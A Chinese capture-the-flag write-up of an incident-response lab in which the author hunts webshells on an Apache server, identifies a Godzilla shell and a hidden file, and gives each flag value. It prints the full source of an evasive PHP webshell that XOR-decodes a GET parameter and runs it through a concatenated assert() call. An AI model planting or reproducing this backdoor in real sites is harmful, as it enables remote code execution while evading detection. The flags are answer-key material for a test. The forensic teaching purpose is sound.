题目地址:第一章 应急响应-webshell查杀 · 玄机 - EDISEC
本次靶场要求提供的flag如下:
1.黑客webshell里面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx}
2.黑客使用的什么工具的shell github地址的md5 flag{md5}
3.黑客隐藏shell的完整路径的md5 flag{md5} 注 : /xxx/xxx/xxx/xxx/xxx.xxx
4.黑客免杀马完整路径 md5 flag{md5}
读取题目要求:找到黑客上传的webshell文件、分辨黑客上传的是什么工具木马、webshell的完整路径、免杀木马的完整路径
Flag1
黑客webshell里面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx}
首先定位Web服务器,查看网络发现开放了80端口
netstat -ano
查看端口对应应用知道了使用的web服务器为apache
直接进入根目录,在Apache根目录发现webshell文件shell.php,代码中没有特别的内容,也没有符合格式的字符串
搜索web目录下的php文件,看是否包含恶意函数,发现有三个文件中包含了恶意函数
find ./ -type f -name ".php" | xargs grep "eval("
find ./ -type f -name ".php" | xargs grep "assert("
查看文件源代码,在./include/gz.php中得到第一个flag
flag{027ccd04-5065-48b6-a32d-77c704a5e26d}
Flag2
常用的Webshell连接工具主要就下面几款:
caidao,中国菜刀 AntSword,蚁剑 Behinder,冰蝎 Godzilla,哥斯拉
首先通过文件名gz.php可以联想到是Godzilla的缩写,但是用哥斯拉生成的webshell就只是普通的一句话,而这个webshell的代码格式有点像冰蝎
用两个Webshell的github地址都试试
https://github.com/rebeyond/Behinder https://github.com/BeichenDream/Godzilla
最后发现flag是哥斯拉的md5加密值
flag{39392de3218c333f794befef07ac9257}
Flag3
黑客隐藏shell的完整路径的md5 flag{md5} 注 : /xxx/xxx/xxx/xxx/xxx.xxx
之前查恶意代码发现有一个文件是.Mysqli.php,用.作为开头的文件不会直接显示出来,可以确定这个是隐藏文件
对文件路径进行md5加密得到flag
flag{aebac0e58cd6c5fad1695ee4d1ac1919}
Flag4
黑客免杀马完整路径 md5 flag{md5}
查看apache日志,日志路径位于/var/log/apache2/access.log,
可以看到有/wap/top.php?1=phpinfo()的请求,说明该文件可以执行任意函数
查看文件内容,发现确实是使用了字符串拼接进行免杀,代码中没有直接暴露的高危函数
<?php $key = "password"; //ERsDHgEUC1hI $fun = base64_decode($_GET['func']); for($i=0;$i<strlen($fun);$i++){ $fun[$i] = $fun[$i]^$key[$i+1&7]; } $a = "a"; $s = "s"; $c=$a.$s.$_GET["func2"]; $c($fun);
对代码进行解析,可以得知变量$c代表的是函数assert(),而变量$fun是传入的要执行的代码phpinfo()
根据flag的格式要求,对免杀马文件的绝对路径进行md5加密,就能得到flag
flag{eeff2eabfd9b7a6d26fc1a53d3f7d1de}